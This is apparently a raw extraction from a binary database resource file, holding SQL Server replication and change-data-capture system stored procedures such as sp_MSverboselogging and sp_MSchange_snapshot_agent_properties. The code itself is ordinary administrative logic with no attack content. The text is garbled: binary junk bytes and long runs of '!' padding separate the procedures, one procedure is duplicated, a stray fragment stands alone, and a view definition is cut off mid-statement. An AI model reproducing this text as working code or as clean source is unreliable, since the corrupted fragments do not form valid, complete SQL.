!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!I`
<
,8JY0 	8
--
-- Name:    
--          sp_IHCheckPublisherLogin
--          
-- Description: 
--          Verify a linked server login mapping exists for the specified
--			login
--
-- Input/Output:
--			@publisher	Publisher server with a linked server to
--						check logins for.  Returns server name in
--						same case as it is stored in sysservers.
--						This is useful to make sure that it is in
--						the correct case for usage in distributed
--						query operations
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          1 == No login mapping exists
--			0 == Login mapping exists
--

CREATE PROCEDURE sys.sp_IHCheckPublisherLogin
(
	@publisher sysname OUTPUT
)
AS
BEGIN
    DECLARE @retcode int

    -- Find linked server name (with correct case setting)
	SELECT	@publisher = srvname
	FROM	master.sys.sysservers
	WHERE	UPPER(srvname  collate database_default) = UPPER(@publisher) collate database_default

	-- Verify linked server exists
	IF @publisher IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Verify login mapping exists for publisher admin account
	IF NOT EXISTS
	(
		SELECT	principal_id
		FROM	master.sys.server_principals sp,
				master.sys.linked_logins ll,
				master.sys.servers s,
				msdb.dbo.MSdistpublishers msdp
		WHERE	sp.principal_id	= ll.local_principal_id
		  AND	s.server_id		= ll.server_id
		  AND	ll.remote_name	= msdp.login
		  AND	UPPER(s.name collate database_default)	= UPPER(msdp.name collate database_default)
		  AND	UPPER(s.name collate database_default)	= UPPER(@publisher) collate database_default
		  AND	sp.name			= SUSER_SNAME(0x01)
		UNION
		SELECT	principal_id
		FROM	master.sys.server_principals sp,
				master.sys.linked_logins ll,
				master.sys.servers s,
				msdb.dbo.MSdistpublishers msdp
		WHERE	sp.principal_id			= ll.local_principal_id
		  AND	s.server_id				= ll.server_id
		  AND	ll.uses_self_credential	= 1
		  AND	msdp.security_mode		= 1
		  AND	UPPER(s.name collate database_default)	= UPPER(msdp.name collate database_default)
		  AND	UPPER(s.name collate database_default)	= UPPER(@publisher) collate database_default
		  AND	sp.name			= SUSER_SNAME(0x01)
	)
        BEGIN
        	DECLARE @login sysname
        	SET @login = suser_sname()
        	RAISERROR(21681, 16, -1, @login, @publisher)
        	RETURN (1)
        END
            
	RETURN (0)
END
0y 8create procedure sys.sp_MSflush_access_cache
AS
    -- Delete all the 'dead' connections in MSpublisher_access.
    
    if exists (select * from tempdb.sys.objects where name = 'MSdistributor_access' and
    type = 'U')
    begin
        -- Delete all the 'dead' connections in MSdistributor_access.
        delete tempdb.dbo.MSdistributor_access 
		from tempdb.dbo.MSdistributor_access a
		left outer join sys.dm_exec_sessions dm 
			on a.spid = dm.session_id
			and a.login_time = dm.login_time 
		where dm.session_id is null

        if @@error <> 0
            return 1
        else
            return 0
    end
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?
`
<

,770y 8create procedure sys.sp_MSflush_access_cache
AS
    -- Delete all the 'dead' connections in MSpublisher_access.
    
    if exists (select * from tempdb.sys.objects where name = 'MSdistributor_access' and
    type = 'U')
    begin
        -- Delete all the 'dead' connections in MSdistributor_access.
        delete tempdb.dbo.MSdistributor_access 
		from tempdb.dbo.MSdistributor_access a
		left outer join sys.dm_exec_sessions dm 
			on a.spid = dm.session_id
			and a.login_time = dm.login_time 
		where dm.session_id is null

        if @@error <> 0
            return 1
        else
            return 0
    end
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`

<b
,;?0 <8create procedure [sys].[sp_MSverboselogging]
(
	@object_id int 			-- table or indexed view
	,@mode bit = 1   -- 0 = disable, 1 = enable
)
as
begin
    set nocount on
	declare @colname sysname
				,@qualifiedname nvarchar(517)
				,@tran_replicated bit
				,@tran_filtered bit
				,@active tinyint
				,@initiated tinyint
				,@cmd nvarchar(1024)
				,@retcode int
				,@system_type_id int
				,@user_type_id int
				,@action nvarchar(1000)
				,@raised_error int
				,@raised_message nvarchar(4000)
				,@trancount int
				,@db_name sysname
				,@column_id int
				,@notinarticle bit

    --
    -- security check - should be dbo or sysadmin
    --
    exec @retcode = sp_MSreplcheck_publish
    if @@ERROR != 0 or @retcode != 0
        return 1
				
    --
    -- security check
    -- Has to be executed from cdc enabled db
    --
	if(@mode = 1) and not exists (select * from sys.databases where database_id = db_id() and is_cdc_enabled = 1)
	begin
		set @db_name = db_name()
		RAISERROR(22901, 16, -1, @db_name)
		return (1)
	end
	
	set @raised_error = 0
	
	-- no need to check for input here, this proc is going to be internal only, therefore not expecting bad input
	-- Wrap transaction processing in a TRY/CATCH block
	BEGIN TRY
		set @trancount = @@trancount
		
		begin tran
		save tran sp_MSverboselogging

		set @action = N'sp_MSget_qualified_name'
		exec sys.sp_MSget_qualified_name @object_id, @qualifiedname output

		select @tran_replicated = 0
				,@tran_filtered = 0
				,@active = 2
				,@initiated = 3

		--lock the table before checking and making metadata change
		set @action = N'LockMatchID'
		EXEC %%Object(MultiName = @qualifiedname).LockMatchID(ID = @object_id, Exclusive = 1, BindInternal = 0)

		set @action = N'SetCDCTracked'
		EXEC %%Relation(ID = @object_id).SetCDCTracked(Value = @mode)

		--when turning off replicated bit for cdc, check and see if tran replication still need these bits set
		if (@mode = 0 and object_id('sysarticles') is not null and object_id('syssubscriptions') is not null) 
		begin
			--if table has active tran repl subscription
			if exists (select * from sysarticles A join syssubscriptions S on A.artid = S.artid where A.objid = @object_id and S.status = @active)
			begin
				set @tran_replicated = 1
			end

			--if table needs has_replication_filter set for tran replication
			if exists( select * from sys.objects where type = 'RF' and parent_object_id = @object_id )
				or exists( select * from sysarticles A join syspublications P on A.pubid = P.pubid where A.objid = @object_id and (P.allow_queued_tran = 1 or P.allow_sync_tran = 1))
				or exists( select * from sysarticles where objid = @object_id and (upper(upd_cmd) like 'CALL%' OR upper(upd_cmd) like 'XCALL%' ) )
				or exists( select * from sysarticles where objid = @object_id and (upper(del_cmd) like 'XCALL%' ) )
				or exists( select * from sysarticles A join syssubscriptions S on A.artid = S.artid where S.status = @initiated) 
			begin
				set @tran_filtered = 1
			end

		end

		BEGIN
			if (@mode = 1 or @tran_replicated = 0)
			begin
				set @action = N'SetReplicated'
				EXEC %%Relation(ID = @object_id).SetReplicated(Value = @mode)
			end

			DECLARE #hC CURSOR LOCAL FAST_FORWARD FOR 
			SELECT DISTINCT name, system_type_id, user_type_id, sc.column_id
			from sys.columns sc, cdc.captured_columns c, cdc.change_tables t 
			where sc.object_id = @object_id
			and sc.object_id = t.source_object_id
			and c.object_id = t.object_id
			and sc.column_id = c.column_id					
					                
			OPEN #hC 
			FETCH #hC into @colname, @system_type_id, @user_type_id, @column_id
			WHILE (@@fetch_status <> -1) 
			begin
				-- Do not modify settings if column appears in sysarticlecolumns and disabling
				set @notinarticle = 0
				if object_id('sysarticlecolumns') is not null and object_id('sysarticles') is not null
				begin
					if not exists ( select C.name from sysarticles A join sys.columns C on A.objid = C.object_id
					              join sysarticlecolumns AC on A.artid = AC.artid
								  where AC.colid = C.column_id 
							      and A.objid    = @object_id
								  and AC.colid   = @column_id)
					begin
						set @notinarticle = 1
					end
				end

				if object_id('sysarticlecolumns') is null or object_id('sysarticles') is null or @mode = 1 or @notinarticle = 1
				begin			 
					set @action = N'SetReplicated' 
					EXEC %%ColumnEx(ObjectID = @object_id, Name = @colname).SetReplicated(Value = @mode)
	
					--image, text. ntext
					if (@system_type_id not in (34, 35, 99) and @user_type_id not in  (34, 35, 99)) --image, text. ntext
					begin
						set @action = N'SetLogForRepl' 
						EXEC %%ColumnEx(ObjectID = @object_id, Name = @colname).SetLogForRepl(Value = @mode)
					end
				end

				FETCH #hC into @colname, @system_type_id, @user_type_id, @column_id
			end 
			CLOSE #hC 
			DEALLOCATE #hC 

		END

		--enable, do it anyway regardless of tran repl
		--disable, only do it when tran repl does not need has_replication_filter set anymore
		if(@mode = 1 or @tran_filtered = 0)
		BEGIN
			set @action = N'SetHasFilterProc'
			EXEC %%Relation(ID = @object_id).SetHasFilterProc(Value = @mode) 
		END

		if(@mode = 0 and @tran_replicated = 1 and @tran_filtered = 0)
		begin
			set @action = N'sp_MSSetLogForRepl'
			exec @retcode = sp_MSSetLogForRepl @object_id
		end

		commit tran
		
	END TRY
	
	BEGIN CATCH
	
		if @@trancount > @trancount
		begin
			-- If CDC opened the transaction or it is not possible 
			-- to rollback to the savepoint, rollback the transaction
			if ( @trancount = 0 ) OR ( XACT_STATE() <> 1 )
			begin
				rollback tran 
			end
			-- Otherwise rollback to the savepoint
			else
			begin
				rollback tran sp_MSverboselogging
				commit tran
			end
		end	
		
		set @raised_error = ERROR_NUMBER()
		set @raised_message = ERROR_MESSAGE()
		
	END CATCH
	
	if @raised_error = 0
		return 0
		
	raiserror(22834, 16, -1, @qualifiedname, @action, @raised_error, @raised_message)
	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<
n
~l0*W 8create procedure sys.sp_MSscript_sync_upd_proc (
    @publication sysname, 
    @article     sysname,
    @procname    sysname,
	@alter bit = 0 -- if 1 script alter, otherwise script create
)
as
BEGIN
    declare @source_objid int
            ,@artid int
            ,@colname sysname
            ,@indid int
            ,@cmd          nvarchar(4000)
            ,@outvars      nvarchar(4000)
            ,@rc           int
            ,@error_cmd tinyint
            ,@identity_insert bit
            ,@queued_pub bit

    set nocount on
    --
    -- security check -- dbo+ to script create or alter
    --
    exec @rc = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @rc <> 0
    begin
	    return (1)
    end
    --
    -- Create temp table
    --
    create table #proctext ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)
    select @queued_pub = allow_queued_tran from syspublications where name = @publication
    --
    -- proc definition
    --
    exec @rc = sys.sp_MSscript_beginproc @publication, @article, @procname, @source_objid output, @artid output, @alter
    if @@error <> 0 or @rc <> 0
        return
    --
    -- Check to see if identity insert must be turned on
    -- i.e. Does the table has identity that are included in the partition?
    --
    exec sys.sp_MSis_identity_insert @publication = @publication
            ,@article = @article
            ,@identity_insert = @identity_insert output
            ,@mode = 1
    --
    -- construct parameter list
    -- Script bitmap parameter
    --
    exec sys.sp_MSscript_params @source_objid, @artid, null, 1,  @outvars output
    insert into #proctext(procedure_text) values( N',')
    exec sys.sp_MSscript_params @source_objid, @artid, N'_old', 0, null
    insert into #proctext(procedure_text) values( N'
    ,@bitmap varbinary(4000)')
    --
    -- add other parameters and start body of proc
    --
    exec sys.sp_MSscript_procbodystart @queued_pub, @identity_insert 
    --
    -- script the security and execution mode  and subscription validation checks
    --
    exec sys.sp_MSscript_ExecutionMode_stmt @publication, @article, 2
    --
    -- Work around for case where article has 1 col that is not user-modfied (identity, timestamp)
    -- *** Do we need to check this here - 
    -- *** we should be checking this when creating subscription
    -- 
    exec @rc = sys.sp_MStable_not_modifiable @source_objid, @artid
    if @rc = 1
        select @error_cmd = 1
    else
    begin
        exec @indid = sys.sp_MStable_has_unique_index @source_objid 
        if (@outvars is not null and @indid = 0)
            -- no insert/update allowed if timestamp/identity col and no unique index
            select @error_cmd = 1
        else
            select @error_cmd = 0       
    end

    if (@error_cmd = 0)
    begin
        --
        -- script update statemnt
        --
        exec sys.sp_MSscript_update_statement @publication, @article, @source_objid, @queued_pub
        --
        -- script queued specific stuff
        --
        if (@queued_pub = 1)
        begin
            --
            -- script the conflict resolution logic common to all resolution policies
            --
            exec dbo.sp_MSscriptupdateconflictfinder @publication, @article, @source_objid
            --
            -- script Conflict resolution block for Publisher Wins case
            --
            exec sys.sp_MSscript_update_pubwins @publication, @article, @source_objid
            --
            -- script Conflict resolution block for Subscriber Wins case
            --
            exec sys.sp_MSscript_update_subwins @publication, @article, @source_objid, @artid, @identity_insert
        end
        --
        -- script closing 
        --
        exec sys.sp_MSscript_endproc @source_objid, 'upd', @artid, @outvars, @queued_pub, @identity_insert
    end
    else
    begin
        --
        -- Generate error command and finish
        --
        insert into #proctext(procedure_text) values( N'
    exec sys.sp_MSreplraiserror 20516
END
')
    end
    --
    -- send fragments to client
    --
    select procedure_text from #proctext order by c1 asc
END
0L_@ 8
create procedure sys.sp_MSsubscriptionvalidated
    @subid      uniqueidentifier,
    @pubid      uniqueidentifier,
    @log_attempt bit = 0
as
    declare @now datetime
    declare @retcode int

    select @now=getdate()
    
    if ({fn ISPALUSER(@pubid)} <> 1)
    begin
        if (@pubid is NULL)
        begin
                RAISERROR (21723, 16, -1, 'sp_MSsubscriptionvalidated')
                return 1
        end
        else
        begin
                RAISERROR (14126, 11, -1)
                return 1
        end
    end

    if @log_attempt=0
        update dbo.sysmergesubscriptions set last_validated = @now, attempted_validate=@now
            where subid = @subid and pubid = @pubid
    else
        update dbo.sysmergesubscriptions set attempted_validate = @now
            where subid = @subid and pubid = @pubid     
    if @@rowcount <> 1 or @@error <> 0
    begin
        RAISERROR (20070, 16, -1)
        return (1)
    end
    return (0)
(TABLE FN_GET_AUDIT_FILE, @file_pattern, @initial_file_name, @audit_record_offset)
0h 	8create procedure sys.sp_execresultset_nvarcharmaxrows
(
    @cmd     nvarchar(max),        -- Command that will return a resultset to concat and execute
    @debug    bit = 0                -- Display debug information and resultset query (no exec)
)
as
begin
    set nocount on

    declare    @scriptText     nvarchar(max),
        @maxIndex        bigint,
        @rowIndex        bigint

    declare @q1 nvarchar(max)

    select @q1 = N''
    select @scriptText     = N''

    -- load a local tmp table with the resultset based off of the cmd provided
    -- we also attempt to change the database context before execing the cmd
    declare @MSrepl_exec_script table (orderCol int identity(1,1) primary key clustered, scriptText nvarchar(max))
    if @@error <> 0
    begin
        goto Error
    end
    
    -- For debugging generated procs. Create the table MSmerge_debug_objects in the current database
    -- create table MSmerge_debug_objects (orderCol int identity(1,1) primary key clustered, scriptText nvarchar(max))
    if object_id('MSmerge_debug_objects', 'U') is not NULL
    begin
       insert into MSmerge_debug_objects(scriptText) exec(@cmd)
	end

    insert into @MSrepl_exec_script(scriptText) exec(@cmd)
    if @@error <> 0
    begin
        goto Error
    end
    
    -- get the max value inserted in the identity col for 
    -- @MSrepl_exec_script table and set the rowIndex = 1
    select @maxIndex = max(orderCol),
            @rowIndex = 1
        from @MSrepl_exec_script
    
    -- retrieve the current scriptText row 
    select @scriptText = isnull(scriptText, N'')
        from @MSrepl_exec_script
        where orderCol = @rowIndex

    while (@rowIndex <= @maxIndex)
    begin
       
        select @q1 = @q1 + @scriptText + N' '
            
	    -- increment the row position counter
        select @rowIndex = @rowIndex + 1

        -- retrieve the current scriptText row
        select @scriptText = isnull(scriptText, N'')
            from @MSrepl_exec_script
	        where orderCol = @rowIndex
    end
    
    if @debug = 0
    begin
        
		exec(@q1)
		if @@error <> 0
		begin
	        goto Error
	    end
	end
    else
    begin
		-- print out debug info
		
		select '@q1' = datalength(@q1)/2
		
		select @q1
    end
    
    return 0
Error:
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!``9		<<
-fI0 b8create procedure sys.sp_MSchange_snapshot_agent_properties
(
	@publisher						sysname,
	@publisher_db					sysname,
	@publication					sysname,
	@frequency_type					int,
    @frequency_interval				int,
    @frequency_subday				int,
    @frequency_subday_interval		int,
    @frequency_relative_interval	int,
    @frequency_recurrence_factor	int,
    @active_start_date				int,
    @active_end_date				int,
    @active_start_time_of_day		int,
    @active_end_time_of_day			int,
    @snapshot_job_name				nvarchar(100),
	@publisher_security_mode		int,
	@publisher_login				sysname,
	@publisher_password 			nvarchar(524),
	@job_login						nvarchar(257),
	@job_password					sysname,
	@publisher_type					sysname
)
as
begin
	declare @retcode		bit,
			@publisher_id	int,
			@agent_id		int,
			@agent_exists	bit,
			@job_id			uniqueidentifier,
			@job_step_uid	uniqueidentifier,
			@pubsecmode 	int,
			@proxy_id       int

	-- security: Has to be executed by SA of dist db
	if is_srvrolemember('sysadmin') != 1
	begin
		-- You do not have the required permissions to complete the operation.
		raiserror (20604, 16, -1)
		return 1
	end

    select @proxy_id = NULL
    
	begin transaction tran_sp_MSchange_snapshot
	save transaction tran_sp_MSchange_snapshot

	-- retrieve the publisher id
	select @publisher_id = server_id 
		from sys.servers 
		where upper(name) = upper(@publisher)
	if @publisher_id is null
	begin
		-- Publisher @publisher does not exist.
		raiserror(21618, 16, -1, @publisher)
		goto FAILED
	end

	if @publisher_security_mode is not NULL
		or @publisher_login is not NULL
		or @publisher_password is not NULL
	begin
		
		-- if WINDOWS authentication then clear out the login/password
		if @publisher_security_mode = 1
	    begin
			select @publisher_login = '',
					@publisher_password = newid()
	    end

		-- Encrypt the password before storing
	    exec @retcode = sys.sp_MSreplencrypt @publisher_password OUTPUT
		if @@error <> 0 or  @retcode <> 0
	        goto FAILED
		
		update MSsnapshot_agents
			set publisher_security_mode = isnull(@publisher_security_mode, publisher_security_mode),
				publisher_login = isnull(@publisher_login, publisher_login),
				publisher_password = isnull(@publisher_password, publisher_password)
			where publisher_id = @publisher_id
				and publisher_db = @publisher_db
				and publication = @publication
		if @@error <> 0
			goto FAILED
	end
	
	if @job_login is not NULL
		or @job_password is not NULL
		or @snapshot_job_name is not NULL
		or @frequency_type is not NULL
		or @frequency_interval is not NULL
		or @frequency_subday is not NULL
		or @frequency_subday_interval is not NULL
		or @frequency_relative_interval is not NULL
		or @frequency_recurrence_factor is not NULL
		or @active_start_date is not NULL
		or @active_end_date is not NULL
		or @active_start_time_of_day is not NULL
		or @active_end_time_of_day is not NULL
	begin
		-- HETERO check only
		if @publisher_type != N'MSSQLSERVER'
		begin
			-- we can only allow @job_login change for Hetero when
			-- the publisher_security_mode is standard security...
			select @pubsecmode = security_mode
				from msdb..MSdistpublishers
				where name = @publisher
					and distribution_db = db_name()

			if @pubsecmode is not NULL 
				AND @pubsecmode != 0
				AND @job_login is not NULL
			begin
				-- "@job_login can only be specified/changed for heterogeneous publications when the publisher security_mode (for sp_adddistpublisher) is set to 0."
				RAISERROR(21842, 16, -1, '@job_login', 'the publisher security_mode (for sp_adddistpublisher)', '0')
				goto FAILED
			end
		end

		DECLARE #cursorSnapAgents CURSOR LOCAL FAST_FORWARD FOR		
    		SELECT mssa.name,
    				CAST(mssa.job_id as uniqueidentifier),
    				mssa.job_step_uid
    			FROM msdb.dbo.sysjobs_view sjv
    				JOIN MSsnapshot_agents mssa
    					ON sjv.job_id = CAST(mssa.job_id as uniqueidentifier)
    				JOIN msdb.dbo.sysjobsteps sjs
    					ON sjv.job_id = sjs.job_id
    						AND mssa.job_step_uid = sjs.step_uid
    			WHERE mssa.publisher_id = @publisher_id
    				AND mssa.publisher_db = @publisher_db
    				AND mssa.publication = @publication
        FOR READ ONLY

        OPEN #cursorSnapAgents

        FETCH #cursorSnapAgents INTO @snapshot_job_name, @job_id, @job_step_uid

        WHILE @@FETCH_STATUS <> -1
        BEGIN
            IF @job_id IS NOT NULL
                AND @job_step_uid IS NULL
            BEGIN
        		SELECT @job_step_uid 	= sjs.step_uid 
        		FROM msdb.dbo.sysjobs_view as sjv 
        			JOIN msdb.dbo.sysjobsteps as sjs 
        				ON sjv.job_id = sjs.job_id 
        		WHERE sjv.job_id = @job_id
        			AND sjv.master_server = 0
        			AND UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
        			AND sjv.category_id = 15
        			AND sjs.subsystem = N'Snapshot' 
        			AND sjs.database_name = db_name()
    		END
    		
    		exec @retcode = sys.sp_MSchange_repl_job @id 							= @job_id,
    												@step_uid						= @job_step_uid,
    												@name							= @snapshot_job_name,
    												@frequency_type 				= @frequency_type,
    												@frequency_interval 			= @frequency_interval,
    												@frequency_subday				= @frequency_subday,
    												@frequency_subday_interval		= @frequency_subday_interval,
    												@frequency_relative_interval	= @frequency_relative_interval,
    												@frequency_recurrence_factor	= @frequency_recurrence_factor,
    												@active_start_date				= @active_start_date,
    												@active_end_date				= @active_end_date,
    												@active_start_time_of_day		= @active_start_time_of_day,
    												@active_end_time_of_day 		= @active_end_time_of_day,
    												@login							= @job_login,
    												@password						= @job_password,
    												@proxy_id                       = @proxy_id OUTPUT
    		if @@error <> 0 or @retcode <> 0
    			goto FAILED

    		FETCH #cursorSnapAgents INTO @snapshot_job_name, @job_id, @job_step_uid
    	END 

    	CLOSE #cursorSnapAgents
    	DEALLOCATE #cursorSnapAgents
	end

	commit transaction tran_sp_MSchange_snapshot

	return 0
FAILED:
	rollback transaction tran_sp_MSchange_snapshot
	commit transaction

	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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are @cmd nvarchar(max)

    set @cmd= '
        create view dbo.sysmergeextendedarticlesview
        as
            select 
                name, type, objid, null as ''sync_objid'', null as ''view_type'', artid, description, pre_creation_command, pubid, 
                null as ''nickname'', null as ''column_tracking'', status, null as ''conflict_table'', creation_script, null as ''conflict_script'', null as ''article_resolver'', 
                null as ''ins_conflict_proc'', null as ''insert_proc'', null as ''update_proc'', null as ''select_proc'', schema_option, destination_object, 
                null as ''resolver_clsid'', null as ''subset_filterclause'', null as ''missing_col_count'', null as ''missing_cols'', null as ''columns'', null as ''resolver_info'', 
                null as ''view_sel_proc'', null as ''gen_cur'', null as ''excluded_cols'', null as ''excluded_col_count'', null as ''vertical_partition'', null as ''identity_support'', 
                destination_owner, null as ''before_image_objid'', null as ''before_view_objid'', null as ''verify_resolver_signature'', 
                0 as ''allow_interactive_resolver'', 0 as ''fast_multicol_updateproc'', 0 as ''check_permissions'', null as ''maxversion_at_cleanup'',
                processing_order, 0 as ''published_in_tran_pub'', 0 as ''upload_options'', 0 as ''lightweight'', null as ''delete_proc'', 
                null as ''before_upd_view_objid'', 1 as delete_tracking, 1 as ''compensate_for_errors'', 
                null as ''pub_range'', null as ''range'', null as ''threshold'', null as ''metadata_select_proc'', 0 as ''stream_blob_columns'', 1 as ''preserve_rowguidcol''
            from dbo.sysmergeschemaarticles
            
            union all
            
            select 
                name, type, objid, sync_objid, view_type, artid, description, pre_creation_command, pubid,
                nickname, column_tracking, status, conflict_table, creation_script, conflict_script, article_resolver,
                ins_conflict_proc, insert_proc, update_proc, select_proc, schema_option, destination_object,
                resolver_clsid, subset_filterclause, missing_col_count, missing_cols, columns, resolver_info,
                view_sel_proc, gen_cur, excluded_cols, excluded_col_count, vertical_partition, identity_support,
                destination_owner, before_image_objid, before_view_objid, verify_resolver_signature, 
                allow_interactive_resolver, fast_multicol_updateproc, check_permissions, maxversion_at_cleanup,
                processing_order, published_in_tran_pub, upload_options, lightweight, delete_proc, 
                before_upd_view_objid, delete_tracking, compensate_for_errors, pub_range, range, threshold,
                metadata_select_proc, stream_blob_columns, preserve_rowguidcol
            from dbo.sysmergearticles
            where lightweight = 0

            union all
            
            select 
                name, type, objid, sync_objid, view_type, artid, description, pre_creation_command, pubid,
                nickname, column_tracking, status, conflict_table, creation_script, conflict_script, article_resolver,
                ins_conflict_proc, ''MSmerge_lws_sp_ins_'' + procname_postfix, ''MSmerge_lws_sp_upd_'' + procname_postfix, 
                ''MSmerge_lws_sp_multi_'' + procname_postfix, schema_option, destination_object,
                resolver_clsid, subset_filterclause, missing_col_count, missing_cols, columns, resolver_info,
                view_sel_proc, gen_cur, excluded_cols, excluded_col_count, vertical_partition, identity_support,
                destination_owner, before_image_objid, before_view_objid, verify_resolver_signature, 
